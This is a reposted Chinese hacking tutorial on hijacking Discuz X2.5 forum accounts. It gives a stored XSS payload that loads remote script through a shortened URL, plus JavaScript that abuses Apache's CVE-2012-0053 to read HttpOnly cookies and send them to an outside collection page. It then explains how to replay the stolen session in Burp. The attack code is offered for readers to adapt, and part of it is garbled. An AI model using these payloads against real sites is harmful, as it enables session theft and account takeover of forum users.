来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 0times;01 无法用获取的COOKIE登录分析都说DISCUZ X2.5(以下简称DZ25)的COOKIE拿到了也没有办法登录,但是为什么呢?今天就来简单的看一下,我们登录一个DZ25的站,登陆之后看下COOKIE在里面...
0×01 无法用获取的COOKIE登录分析 都说DISCUZ X2.5(以下简称DZ25)的COOKIE拿到了也没有办法登录,但是为什么呢?今天就来简单的看一下,我们登录一个DZ25的站,登陆之后看下COOKIE 大家知道,HTTPONLY是专门用来防止XSS的,但是不要直接放弃,我们知道低版本的AJAX利用TRANCE方法和APACHE有一个CVE-2012-0053漏洞,均可以获取HTTPONLY的COOKIE 文章链接: 那么我们利用的条件就清晰了:
0×03 DZ25跨站分析 我在DZ官网下载了最新的DZ25,发现唯一没有补的洞就是在描述中插入XSS 如果直接引用<script src=’http://www.xxx.com/1.js’></script>会发现无法加载 那怎么办呢? 不要忘了,我们还有IMG标签 我们可以使用: <img src=x onerror=”var s=createElement(‘script’);document.body.appendChild(s);s.src=’http://localhost/1.js’;”> 这样的代码来创建一个body里面的script(为什么要这样写我就不说了,总之是这样的) 但是写进去后我们发现,太长了……是的被DZ25截断了 那我们来改一改,将不需要的去掉,地址换成短网址结果如下: <img src=x onerror=s=createElement(‘script’);body.appendChild(s);s.src=’http://t.cn/z12345G’;> 插入之后刚刚好 加载下试试
至此,我们已经可以让dz加载外部的js了 0×04 JS编写 这个我就给个样本吧,大家改改就是了
这是触发apache漏洞的样本
查看源代码
1 makeRequest();
2
3 function setCookies (good) {
4
5 var str = "";
6
7 for (var i=0; i< 819; i++) {
8
9 str += "x";
10
11 }
12
13 for (i = 0; i < 10; i++) {
14
15 if (good) {
16
17 var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).
18
19 toUTCString()+"; path=/;";
20
21 }
22
23 else {
24
25 var cookie = "xss"+i+"="+str+";path=/";
26
27 }
28
29 document.cookie = cookie;
30
31 }
32
33 }
34
35 function makeRequest() {
36
37 setCookies();
38
39 function parseCookies () {
40
41 var cookie_dict = {};
42
43 if (xhr.readyState === 4 && xhr.status === 400) {
44
45 var content = xhr.responseText.replace(/\r|\n/g,'').match
46
47 (/
48 (.+)<\/pre>/);
49
50 if (content.length) {
51
52 content = content[1].replace("Cookie: ", "");
53
54 var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
55
56 for (var i=0; i
57 var s_c = cookies[i].split('=',2);
58
59 cookie_dict[s_c[0]] = s_c[1];
60
61 }
62
63 }
64
65 setCookies(true);
66
67 var x=new Image();
68
69 try
70
71 {
72
73 var myopener='';
74
75 myopener=window.opener && window.opener.location?window.opener.location:'';
76
77 }
78
79 catch(err)
80
81 {
82
83 }
84
85 x.src='http:// www.2cto.com /save.php?opener='+JSON.stringify(cookie_dict);
86
87 }
88
89 }
90
91 var xhr = new XMLHttpRequest();
92
93 xhr.onreadystatechange = parseCookies;
94
95 xhr.open("GET", "httponly.php", true);
96
97 xhr.send(null);
98
99 }
0×04 COOKIE搜集 我们来看看得到的COOKIE 自己写的……界面比较丑…… 可以看到,AUTH字段很好的被包裹了进去 但是,这是JSON格式的,我们还要做点处理, 1.将”全部去掉 2.将:换成= 3.将,换成; 最终得到如下:
我们打开BURP,这个东西是个神器,不用我说大家都会用吧? 选上cookie然后点edit 然后UPDATE一下 之后设置代理为burp,burp就会自动替换头中的cookie字段 然后看下效果~~~ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com